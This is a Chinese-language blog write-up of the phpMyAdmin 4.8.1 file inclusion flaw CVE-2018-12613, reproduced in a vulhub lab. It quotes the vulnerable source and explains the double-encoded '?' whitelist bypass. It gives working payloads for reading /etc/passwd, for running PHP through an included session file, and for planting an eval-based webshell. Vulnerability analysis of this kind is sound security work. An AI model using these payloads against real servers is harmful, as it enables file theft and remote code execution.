phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

受影响版本

phpmyadmin 4.8.{1,2}

环境

自然是抄p牛的作业 vulhub

https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613

分析和复现

漏洞源码:

sed -n '55,63p' index.php

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['target'])//是否存在target参数
&& is_string($_REQUEST['target'])//target的值书否为字符串
&& ! preg_match('/^index/', $_REQUEST['target'])//正则匹配是否以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)//在黑名单内的过滤掉
&& Core::checkPageValidity($_REQUEST['target'])//Core类中的checkPageValidity方法
) {
include $_REQUEST['target'];
exit;
}

sed -n '50,53p' index.php

1
2
3
$target_blacklist = array (//黑名单
'import.php', 'export.php'
);

sed -n '443,476p' libraries/classes/Core.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

任意文件读取

payload:

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

由于多了第二次的解码和判断,导致当传入二次编码的?(即%253f)时会取出导致db_sql.php作为参数从而绕过白名单进而达到文件读取的目的

那么既然能够文件读取,就可以利用 session 进行 php 代码执行(session 文件中中记录了执行的操作)

/server_sql.php页面执行 sql select '<?php phpinfo()?>';

文件读取解析 php 代码

getwebshell

payload:

select '<?php eval($_GET["x"])?>';

参考文章:

https://www.jianshu.com/p/0d75017c154f

https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog

AbelChe wechat
扫码加微信
Donate here!!!
0%